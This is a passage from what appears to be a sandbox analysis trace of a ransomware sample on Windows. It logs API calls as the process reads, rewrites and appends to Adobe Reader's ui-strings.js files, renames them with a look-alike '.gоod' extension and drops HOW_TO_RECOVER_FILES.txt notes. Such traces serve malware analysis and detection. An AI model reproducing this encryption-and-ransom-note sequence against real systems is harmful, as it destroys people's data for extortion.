lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0251.636] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.636] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xac38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0251.637] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xac38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0251.637] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0251.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0251.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0251.637] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x7e [0251.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0251.637] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3a7e050 | out: lpFileInformation=0x3a7e050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xac38)) returned 1 [0251.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0251.637] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x7e [0251.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0251.637] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0251.638] GetFileType (hFile=0x824) returned 0x1 [0251.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0251.638] GetFileType (hFile=0x824) returned 0x1 [0251.638] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0251.638] ReadFile (in: hFile=0x824, lpBuffer=0x3a7e548, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x3a7e548*, lpNumberOfBytesRead=0x203eb2f8*=0x1000, lpOverlapped=0x0) returned 1 [0252.325] CloseHandle (hObject=0x824) returned 1 [0252.867] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x7e [0252.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0252.867] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0252.867] GetFileType (hFile=0x8a0) returned 0x1 [0252.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0252.867] GetFileType (hFile=0x8a0) returned 0x1 [0252.867] SetFilePointer (in: hFile=0x8a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0xac38 [0252.867] WriteFile (in: hFile=0x8a0, lpBuffer=0x3998098*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x3998098*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0252.868] CloseHandle (hObject=0x8a0) returned 1 [0252.868] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x7e [0252.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0252.868] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0252.869] GetFileType (hFile=0x8a0) returned 0x1 [0252.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0252.869] GetFileType (hFile=0x8a0) returned 0x1 [0252.869] ReadFile (in: hFile=0x8a0, lpBuffer=0x399a428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x399a428*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0252.896] CloseHandle (hObject=0x8a0) returned 1 [0252.896] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x7e [0252.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0252.896] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0252.896] GetFileType (hFile=0x8a0) returned 0x1 [0252.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0252.897] GetFileType (hFile=0x8a0) returned 0x1 [0252.897] WriteFile (in: hFile=0x8a0, lpBuffer=0x3999110*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x3999110*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0252.897] CloseHandle (hObject=0x8a0) returned 1 [0252.897] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x7e [0252.897] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x83 [0252.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0252.897] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x92f28e20, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xac48)) returned 1 [0252.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0252.897] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\ui-strings.js.gоod")) returned 1 [0252.898] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x89 [0252.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0252.898] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a0 [0252.899] GetFileType (hFile=0x8a0) returned 0x1 [0252.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0252.899] GetFileType (hFile=0x8a0) returned 0x1 [0252.900] WriteFile (in: hFile=0x8a0, lpBuffer=0x3a18f60*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x3a18f60*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0252.900] CloseHandle (hObject=0x8a0) returned 1 [0252.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0252.900] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se", lpFilePart=0x0) returned 0x71 [0252.900] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b0a0 [0252.901] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.901] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.901] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0252.901] FindClose (in: hFindFile=0x134b0a0 | out: hFindFile=0x134b0a0) returned 1 [0252.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0252.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0252.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0252.901] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se", lpFilePart=0x0) returned 0x71 [0252.901] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b3a0 [0252.901] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.902] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.902] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.902] FindClose (in: hFindFile=0x134b3a0 | out: hFindFile=0x134b3a0) returned 1 [0252.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0252.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0252.902] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0252.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0252.902] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3a28cf0 | out: lpFileInformation=0x3a28cf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb53d)) returned 1 [0252.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0252.902] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0252.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0252.903] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0252.903] GetFileType (hFile=0x8a0) returned 0x1 [0252.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0252.903] GetFileType (hFile=0x8a0) returned 0x1 [0252.903] SetFilePointer (in: hFile=0x8a0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0252.903] ReadFile (in: hFile=0x8a0, lpBuffer=0x3a291e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x3a291e8*, lpNumberOfBytesRead=0x203eb2f8*=0x1000, lpOverlapped=0x0) returned 1 [0253.196] CloseHandle (hObject=0x8a0) returned 1 [0253.196] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0253.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0253.196] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0253.196] GetFileType (hFile=0x8a0) returned 0x1 [0253.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0253.197] GetFileType (hFile=0x8a0) returned 0x1 [0253.197] SetFilePointer (in: hFile=0x8a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0xb53d [0253.197] WriteFile (in: hFile=0x8a0, lpBuffer=0x3a4ad70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x3a4ad70*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0253.198] CloseHandle (hObject=0x8a0) returned 1 [0253.198] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0253.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0253.198] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 